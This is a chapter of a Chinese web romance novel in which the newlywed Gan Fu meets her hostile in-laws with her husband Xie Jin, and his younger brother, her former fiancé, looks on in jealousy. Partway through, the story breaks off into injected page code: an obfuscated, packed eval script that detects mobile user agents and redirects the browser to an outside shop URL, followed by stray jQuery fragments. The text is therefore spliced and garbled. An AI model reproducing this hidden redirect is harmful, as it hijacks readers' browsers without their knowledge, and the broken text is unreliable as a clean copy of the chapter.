15. 回府

作品:《被退婚后嫁给前任他哥

    甘芙昨夜睡得晚,醒时天色大亮,陌生的环境令她恍惚了一瞬。


    不好,肯定误了见公婆的时间!


    甘芙一想到侯夫人那刻薄模样,头更加疼了,急匆匆爬起来,冬娘闻声进门,取来衣服服侍她穿上。


    “小姐,新婚头天虽说是身子累,但您也不能睡这么久呀,前厅侯爷和夫人都用完早饭了。”冬娘怪道,一面招婢女伺候甘芙洗漱。


    甘芙惊道:“那你为何不早些喊醒我?”


    侯夫人从前就不待见她,如今她与谢瑾成亲,不用想也知道侯夫人一定会刁难她。


    冬娘:“哎哟,小姐,姑爷说不准搅扰您睡觉,我哪敢进来?”


    甘芙差点把谢瑾忘了,昨夜他们二人什么都没做,安安静静躺到天明,醒来却不见他踪影。


    “谢大人去哪了?”甘芙问。


    冬娘一时没反应过来这“谢大人”是何许人也,看了一眼甘芙,笑道:“小姐怎么还称呼姑爷‘谢大人’?既已成亲,您该唤姑爷夫君才是,若是叫别人听见,怕是要闹麻烦呢。姑爷早上出去了,没交代去哪儿。”


    夫君?


    甘芙在心底重复这两字,脑海里自动对上谢瑾那清冷俊朗的面貌,她无端地忆起谢瑾昨夜落在她额头那轻轻一吻。


    脸颊莫名一热。


    旋即,心里头又在想待会儿没有谢瑾,该如何应付谢家满府的人。


    然而片刻后,铜镜中倒映出谢瑾进门的身影。


    “起来了?”谢瑾走到甘芙身后,自然而然地接过婢女手中眉笔,弯腰打量她粉黛未施的洁白脸蛋,“我给你画。”


    甘芙眼睛睁大:“谢大人还会这个?”


    糟了,又是“谢大人”。


    冬娘听得心惊肉跳,但姑爷却好像并没有在意。


    谢瑾“嗯”了一声,手轻托住她下巴,专注地给她画眉。


    他近在咫尺,甘芙甚至能感受到他温热的吐息,被他手指托住的地方更是有隐隐的烫意。


    甘芙身体又僵住了,连眼睛都没有眨动。


    谢瑾画好,对上她木讷紧张的眼神,轻轻松开她,退开些许距离:“看看如何?”


    “哦!”甘芙急忙转开眼,对着铜镜左右看了看,点点头,“画得很好,谢谢。”


    冬娘心里纳闷:怎么小姐跟姑爷这么客气,跟外人似的,这可不好。


    她忙打圆场:“姑爷手艺好,小姐生得美,果然画出来的眉毛比其他人都好看。”


    甘芙配合地连连点头,谢瑾淡淡一笑,“我在旁边等你。”


    甘芙偷偷看他一眼,见他并无异样,才继续盘发。


    一番收拾后,甘芙终于可以站起来,跪坐后的腿脚有些发麻,但还好不影响行走。


    “我好了,大人。”甘芙冲谢瑾微笑道。


    谢瑾抬眼看去,绛色曲裾袍极衬她白皙的肤色,身姿纤细窈窕,乌发如云,鎏金玳瑁簪,珊瑚玉步摇,艳而不俗,娇而不媚,极是好看。


    “冷不冷?”谢瑾走过去牵起她的手,试探她的温度。


    他的动作自然无比,但甘芙却还不习惯,看一眼他握着自己的那只手,应道:“不冷,外面还在下雪吗?”


    “嗯。”谢瑾从一个盒子里取出一个玉镯戴上她手腕,“这是我母亲留给我的镯子,昨夜没来得及给你,今日补上。”


    “你母亲的?”甘芙微怔。


    听他语气,显然不可能是现在的侯夫人。


    “嗯,我生母,年后我带你去外祖家祭拜她。”谢瑾手掌收合,牵住她,“好了,去堂上吧。”


    他骨节分明的宽大手掌轻而易举地包裹住她的手,肌肤相贴的地方温热柔软。


    甘芙悄悄看了一眼谢瑾,终是没有挣脱。


    雪比昨日更大,纷纷扬扬,铺落屋檐,仆人跟在身后为二人撑伞,行至厅堂前,甘芙抬眼看见坐在上位的博远侯夫妇。


    谢握瑜亦在,他见到谢瑾与甘芙紧贴交握的手,移开眼藏住痛苦而怨愤的情绪。


    谢瑾始终握着甘芙的手不放,两人一同拜见博远侯夫妇。


    博远侯形貌清瘦,模样严肃,像是从来没遇上过什么好事,声音更是淡薄:“起来吧。”


    仆人向甘芙送去新妇礼,甘芙敬受,未有多言。


    侯夫人却少见地对甘芙露出笑容,朝她招手:“上前来,母亲有东西亲自给你。”


    甘芙心底里不愿与之有太多接触,但这毕竟是头一回见公婆,她不好闹得难堪,欲上前,谢瑾却不放手。


    甘芙疑惑地看向他,张口想喊他“谢大人”,但想到之前冬娘的话,又是眼下这样的情形,她只好小声道:“夫君,松一松手。”


    谢瑾眸光闪动,牢牢盯住她。


    甘芙有些着急,手轻轻挣动,谢瑾方才慢慢松开。


    甘芙总算松一口气,走上前,才发现谢握瑜坐在侯夫人身边,她不去看他,在侯夫人对面跪坐下来。


    侯夫人莞尔一笑,婢女递来一个漆盒,“阿芙,你既已嫁给瑾儿,我这做母亲自然要送你些东西,来,手给我。”


    甘芙垂首沉吟片刻,抬起手来。


    侯夫人取出盒中金玉镯,正准备给甘芙戴上,看见她手腕已有一个玉镯,材质虽好,却无任何装饰。


    侯夫人笑道:“阿芙,你这玉镯倒是素净,不过不大配你今日颜色,还是戴母亲这只金玉镯吧。”


    说着,便要命人取下她这玉镯。


    甘芙躲开婢女动作,用手按住玉镯,应道:“夫人见谅,此物是夫君所赠,意义匪浅,不能摘下。”


    侯夫人脸色乍变,但见谢瑾一直盯着甘芙,目光分毫不移,她不敢硬来,只笑呵呵地给自己找补:“原是如此,倒是母亲唐突了,也好,这金玉镯你也收着,日后再戴也是一样。”


    甘芙客气地接过,起身回到谢瑾身边。


    旁边坐着的谢握瑜听见她那句“夫君”,心口发疼,只得默默握紧拳头。


    “婚礼已经结束,我带芙儿回府了。”谢瑾冷淡地开口。


    侯夫人热情道:“再住些时日吧,多陪陪你父亲也是好的。”


    她这模样妥妥一个关爱后辈的长者,心里却是巴不得他们赶紧走,不然也不会特意提“陪陪父亲”。


    因为谢瑾与博远侯谢明远一向不合,形同陌路。


    “要走就走。”博远侯冷声道。


    说罢,起身拂袖而去。


    甘芙不知道博远侯会如此堂而皇之地冷待谢瑾,扭头看向谢瑾,他面色从容,反倒握住她的手,温声道:“我们回家。”


    “……好。”甘芙只好点头。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245184|197866||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    两人出门,风雪中,谢府的马车早已稳稳停在门前大道旁。


    谢瑾忽然喊住甘芙:“芙儿。”


    甘芙停步,谢瑾为她披上狐裘,低头替她整理衣袍,动作细致轻柔。


    “没有那么冷,大人别担心。”甘芙笑道。


    谢瑾看她一眼,不由分说地将她拦腰抱起,甘芙惊得抱住他脖颈,两人四目相对,咫尺之间。


    “谢大人……”


    “刚刚不是叫我夫君吗?”


    两人同时发言。


    谢瑾紧紧注视她,甘芙懵了一瞬,低下眼解释道:“刚才情形比较特殊……”


    她说着说着就没了底气。


    毕竟他们是真的成婚了,叫夫君是很正常的事。


    谢瑾收紧双手,压低声音:“可我喜欢你叫我夫君,夫人。”


    他嗓音缠绵,“夫人”二字格外清晰。


    甘芙双颊飞红,一只手挡住自己眼睛,好像这样就能避开谢瑾灼灼视线,羞赧道:“赶紧回家吧,待会雪下大了。”


    她掩耳盗铃的可爱模样让谢瑾心一动,眼底漾起笑意:“好。”


    语罢,他抱紧她登上马车。


    侯府里,谢握瑜遥遥看见他们二人亲密无间的举动,心像是被一万只蚂蚁啃咬,疼痛难忍。


    跟阿芙这样的本该是他谢握瑜。


    谢握瑜愤然一拳打在木柱上,侯夫人从廊间走来,正好看到这一幕,吓了一跳,匆匆走过去握住儿子的手,心疼道:“瑜儿,你这是做什么?伤到自己可怎么办?你要吓死母亲吗?”


    谢握瑜怒火中烧,可一见到母亲心疼自己的模样又不愿与她生气,只道:“母亲,我不是小孩子了,不会那么轻易受伤。”


    侯夫人揉搓着他的手,道:“在母亲这你永远是孩子,你伤着半点母亲都疼在心里啊。可不许做傻事,尤其甘芙已经嫁给你大哥了,你更不能去找她,这样她会毁了你的清誉的。”


    谢握瑜急道:“母亲你又来了!我都答应你跟阿芙退婚了,你何苦再说这些话!”


    侯夫人板起脸:“这时候了你还替甘芙说话?!你没看见刚才在厅中她那目中无人的轻狂样?哪家新妇像她这模样?”


    “母亲!你……你别再说了!”


    谢握瑜本想说是母亲有错在先,但一想到甘芙说那玉镯是谢瑾送她的,心中便妒意横生,不能言语,愤然转身离去。


    侯夫人见状立刻痛哭起来:“我养的个什么儿子啊,我还不如去死了干净!”


    仆从慌忙七嘴八舌地劝阻,场面一度混乱。


    谢握瑜走出几步,终是回过身去搀扶侯夫人,“母亲这是做什么?儿子不是一直听您的话吗?您为何总是拿自己的性命开玩笑?”


    侯夫人抱着儿子哭诉道:“瑜儿啊,你才是母亲的命,若是你也不理睬母亲,那母亲活着又有什么意思!”


    谢握瑜只好温声细语地劝导:“母亲,我怎会不理睬您呢?您是我的母亲啊,莫要再闹了好不好?”


    侯夫人见儿子心软,方高兴起来,擦去眼泪,捉住儿子的手道:“好,瑜儿,母亲命人做了你喜欢的菜,我们一块去吃,母亲见你昨日和今晨都没怎么吃东西,千万别饿坏了。”


    “……是,母亲。”谢握瑜心中苦楚无人可诉,勉强应答。